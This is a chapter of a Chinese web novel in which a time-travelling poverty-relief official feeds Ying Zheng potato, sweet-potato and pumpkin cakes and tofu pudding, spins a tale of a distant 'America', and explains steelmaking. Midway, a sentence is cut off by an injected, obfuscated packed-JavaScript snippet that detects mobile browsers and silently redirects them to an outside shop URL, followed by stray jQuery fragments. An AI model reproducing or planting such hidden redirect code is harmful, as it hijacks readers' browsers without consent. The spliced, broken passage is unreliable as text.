11.甜党嬴政

作品:《脱贫干部在大秦

    蒙武接过刀,奴仆依旧如惊鸟般面色惶惶,如履薄冰、战战兢兢,恨不得以头抢地,直呼饶命。


    孔澜:……


    她还是小看了封建时期君王的威慑力。


    孔澜顿了顿,勤勤恳恳为嬴政递上台阶:“大王,不若叫他们继续?”


    锐利摄人的目光扫来,赵高忍不住缩了缩脖子。


    全当看不见,孔澜提醒道:“这些个婢子们手艺不错。”


    嬴政顿了下,半响,哼了一声,甩了甩袖子,“起来罢。”


    孔澜微妙:这种傲娇劲儿是怎么一回事?


    跪地的奴婢,这才试探性的从地上起身,诚惶诚恐,满脸俱色。


    赵高低垂着头,眼中惊诧不定,大王发怒不说没人被拖下去,连个受罚的都没?


    “这些都要剁成肉泥。”孔澜把羊肉递去给蒙武。


    她试图缓解一下现场的尴尬气氛。


    可惜,缓解的比较失败。


    大老板在现场,员工惶恐不安,实属不利于工作效率。


    孔澜心底叹气,在古代当官也不容易,不小心得掉脑袋。


    迟疑片刻,带着些许试探,言辞隐晦的劝其不要再杵着,孔澜又道:“大王,外头也无趣,您不若入屋内坐会儿?”


    “用些茶水、糕点,若是用餔食还有一些时辰。”


    赵高抬头看她,对她劝说大王的行为惊觉诧异。


    嬴政看她的眼神多几分深意,见他怒而不慌者可不多。


    宽大的衣袖背在身后,怒气收放自如,嬴政脑海中闪过驿卒带回的消息,西秦村与孔澜此前说的差不多。


    贫苦的村子现在人人安居,女子织布纺衣,男子田间耕作,一亩三石,比富饶之地差不到哪里去。


    沽名钓誉之辈多不胜数,但这般奇人倒是前所未闻。


    正因如此,他一想到几日来故意冷落对方,生怕大才一怒之下,离秦而去,今日这才一早而来。


    只不过刚刚一通发怒,倒是……


    思及此,嬴政语气也随之缓和:“看茶吧。”


    孔澜顿时松口气,领路去堂内。


    影度回廊,行走间腰上佩环铿锵。


    堂内是标准的秦地摆设,暗金色的青铜灯柱,上好的楠木雕刻的矮桌,地上铺设柔软的草席。


    秦王自然是坐首位,孔澜坐左侧,与尉缭对之,赵高次之。


    “林琅,你去上些茶水,再准备些吃食。”孔澜吩咐。


    “唯。”


    林琅不敢多看,俯身告退。


    片刻功夫,婢女盛着托盘,鱼贯而入,碟中放着红薯饼、土豆饼、南瓜饼,还有茶。


    一股子带着甜腻的香味,伴着茶的苦涩在屋内弥散开。


    嬴政正欲与她询问定秦刀一事,视线被端上来的东西吸引。


    茶水清澈见底,只有几片茶叶漂浮,里面什么香料也没,瞧着寡淡无味。


    一块块蒸饼模样的饼放在瓷盘中,颜色各异,嬴政立刻想到,这可能就是文书上说的,产量三石的作物。


    几人面带古怪。


    孔澜一样一样的介绍:“大王此乃土豆饼、红薯饼、南瓜饼,搭配热茶,刚刚好。”


    因为不清楚嬴政的口味,她没有搞稀奇古怪的东西,上的都是再正常不过的饼。


    原材料简单剁成泥,加了一些蜂蜜和羊乳塑性,做成饼状,小火烤制。


    “瞧着似蒸饼。”赵高笑着捧场。


    嬴政垂眸,端着姿态伸手端起陶碟,从中捻起一块,入手柔软,轻轻一捏就会碎,诧异:“颇为粘软,与蒸饼不同。”


    有了红烧肉打底的经验,尉缭一点没犹豫,率先拿起颜色更艳的红薯饼。


    一口咬下去,牙齿深陷黏糊的薯饼之中,口腔被甜腻充斥,尉缭愣神,没等细细品味,已经滑落至喉咙,这东西好似不用牙咬,就能入喉,还带着甜滋滋的味道。


    嬴政见尉缭进食速度变快,确定这东西口味应当不错,也跟着咬了一口,只不过他拿起的是土豆饼。


    和完全粘软的红薯不一样,土豆没有完全碾碎,其中加了一些肉粒增加口感,带着点麻椒,还有胡椒,味道变得丰富,吃起来的口感带着淡淡的辛辣。


    “此饼甚甘!”嬴政称赞,三两口吃完,转头又夹起南瓜饼。


    南瓜饼是用火煎过的,表面微微焦黄,筷子一戳深陷其中,内在柔软。


    咬一口,品到了羊奶和蜂蜜,吃起来奶香宜人,嬴政眼睛一亮,伸出拇指扫去嘴角的残渣,心情大好。


    最甜的还得是红薯饼,嬴政两口一个。


    赵高对那土豆饼情有独钟,细细品之,偶尔摇头晃脑,只觉得这微微的辛辣口感实属奇特,只可惜这饼太小,三两口就吃完了。


    “此三样,莫不是澜所说的亩产过三石的粮食?”嬴政脱口询问,秦朝这几年,年年大饥,正需要足够的粮食。


    他原以为亩产高的粮食,一定如同菽、麦般难咽,但没想到入口如此粘软,味道鲜美,若是真如这般……


    嬴政狂喜。


    莫说统一六国,就是北击匈奴、灭南闽、定朝鲜也未尝不可啊!


    嬴政抬头,眈眈视之。


    看出嬴政的迫切,孔澜微妙,她知道他很迫切,但是先别迫切,她还指望靠这些粮食赚功德,是绝无可能让嬴政扛着粮食去打仗的。


    唉——


    成为一个有远见的贤臣真难。


    孔澜心下感叹,点头应下:“没错,这是其中几样,另外还有蔬菜,品类繁多,我这还有不少种子,概因村子的土壤不适合种植,所以一直没种下。”


    扶贫就是这样,什么都得带着村民尝试,所以孔澜手上有不少种子,大部分都不适合留种,小部分能留。


    一听这话,嬴政大喜,指着盘中的几样东西:“若此物真能每亩三石,我大秦兵马如何不盛!”


    “大王有所不知,这菽研磨成豆汁,做成豆腐不仅口感更好,剩下的残渣用以喂牲畜也是极好,这菽汁能做豆腐、豆花、豆干……”说道废物利用,孔澜疏疏而谈。


    嬴政听得入迷,不忘吃两口红薯饼。


    语气亲昵,似随意闲聊,又问:“澜卿所言从未耳闻,不知澜卿从何而来?”


    差点脱口而出:老北京,孔澜一顿,面对嬴政的挖坑全当没听见,从容胡说:“东海之外有一大陆,名为美洲,我就来自美洲,在那风吹草低见牛羊,粮食一年三熟,到处都是粮食,随便撒几颗种子都能自己长成,铁矿铜矿随处可见……”


    这回不止嬴政听得入迷,连尉缭和赵高都一副见识短浅的惊叹。


    “粮食一年三熟?必然是仙境啊!可是仙人所住之地?”赵高急切追问,这恰好也是嬴政想问的。


    孔澜装作一脸诧异:“仙人?自然不是。”


    “什么?”嬴政微微附身,五官深邃,极具压迫性。


    “若是土壤营养足够,阳光照射足够,温度足够,莫说一年三熟,便是四熟也成。”


    “四熟!”赵高惊愕,声音骤然拔高,“当真可以?”


    果然科学道路任重道远,孔澜老神在在的点头:“这温度够,自然可以。”


    曾经老祖宗的目标是统一华夏。


    但,现在她来了。


    她的目标:统一全球!


    内心颇为中二的感叹,虽然孔澜知道不可能,但是嘛……先给秦王画的饼也是不错的,万一提早开启华夏的大航海呢?


    尉缭一听,面露所思:“这般说来,大王您的行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381780|199712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宫处,在温汤旁边总有四季常青的绿菜,怕是就如孔澜所言。”


    说到这,嬴政也记起,认同的点点头,颇为感叹:“看来,这农耕也多有讲究。”


    “澜卿刚才所言那定秦……”最后一个剑字还没说出口,嬴政面带迟疑,难道那个美洲这么厉害?此等神兵利器,只用来剁肉?


    跪坐着浑身酸软,孔澜正悄咪咪倚靠在矮几上,突然听到定秦刀,脑海里已经蹦出菜刀。


    甚至出现秦始皇站在千军万马之前,举着菜刀大喊“天佑大秦”的惊悚画面。


    吓得孔澜一个支棱,稳稳坐直,坐姿笔挺。


    对面的尉缭一看,好似看到自家孙辈偷懒的模样,嘴角克制不住的向上扬起,又举起茶盏,掩盖了一下自己的笑意。


    “大王,那名为菜刀,剔骨切菜剁肉之用。”万万不能让迷人的老祖宗留下这种黑历史,孔澜极力阻止。


    尉缭是见识过劈青铜如劈柴的菜刀,眼看秦王面色不虞,作为极有眼力劲儿的臣子,尉缭主动替秦王揽下这尴尬的话题:“孔君候,这菜刀也是铁器,为何硬而不脆,削铁如泥?”


    “铁脆?”孔澜一拍脑袋,想起来原由,“生铁铸造工艺打造的铁器确实会比较脆,冶炼温度控制和原料都会造成铁器成品脆,品质不稳定……”


    生铁铸造工艺?嬴政心底一紧,铁器制作乃绝密,莫说一般大臣不知晓铁器如何来,这般侃侃而谈的匠人怕是都没几个。


    难不成此人是墨家弟子?这个念头在嬴政脑海中一闪而过,他心底紧张,面上漫不经心询问:“澜卿知道如何解决?”


    这——


    她还真知道,都不需要翻书的,解决方法也很简单。


    孔澜回答:“大王叫工匠把生铁加热到半熔融状态,在熔池中像炒菜一样不断搅拌,想做硬刀就搅拌时间短一些,想做韧的农具就多搅拌。”


    至于什么叫炒菜,她还无实物表演了一遍。


    “如此?”嬴政不可置信,这般简单?


    “当然。”孔澜点点头,还道:“若是大王想要真正削铁如泥的利刃,则把炒钢反复加热、折叠、锻打,如此反复二三十次后,就能塑性,得到真正的利刃。”


    竟然如此简单?嬴政心底惊讶,恨不得立刻回宫叫来工匠,但好在,理智尚存,左右瞥了眼尉缭和赵高,他感叹:“得澜卿大才,寡人之大幸啊!”


    听到这话,孔澜默默瞟了眼飘在半空的各项数据,其中寿命的剩余天数只有22天,扎眼的很。


    她什么时候可以来笔功德暴富一下?


    “咚咚——”


    门口响起敲门声。


    嬴政看去,倒是没有被打断后的怒气,此事确实不能在这说。


    “大王、主上,豆花已好。”林琅跪在门口恭敬跪坐。


    孔澜眼睛一亮:“快快呈上。”


    白瓷碗中飘着一朵一朵随水晃动的卿云,白净的瓷勺扣在碗中。


    “大王,尉君候、赵君候,这边是豆花,若是喜甘放些蜜糖,若是喜咸便放生抽。”为了搭配豆花,孔澜把自己为数不多的酱油都给贡献出来。


    因为!


    她是个咸党!


    “此物,观之如云,不知细品如何。”尉缭颇具期待,倒了一些黑乎乎的酱油。


    如墨入水,熏染开来。


    嬴政毫不犹豫的倒入蜜糖。


    孔澜痛心疾首,没想到嬴政竟然是甜党!


    几人拿起瓷勺缓慢搅拌,如卿云的豆花被打散。


    嬴政舀了一勺,放入嘴中,鲜甜爽嫩,滋溜一下入了喉咙,甜滋滋的,比那豆汁更味美。


    孔澜暗搓搓观察,吃上甜豆花嬴政瞳孔微微瞪大。


    确认过眼神,嬴政是个甜食控!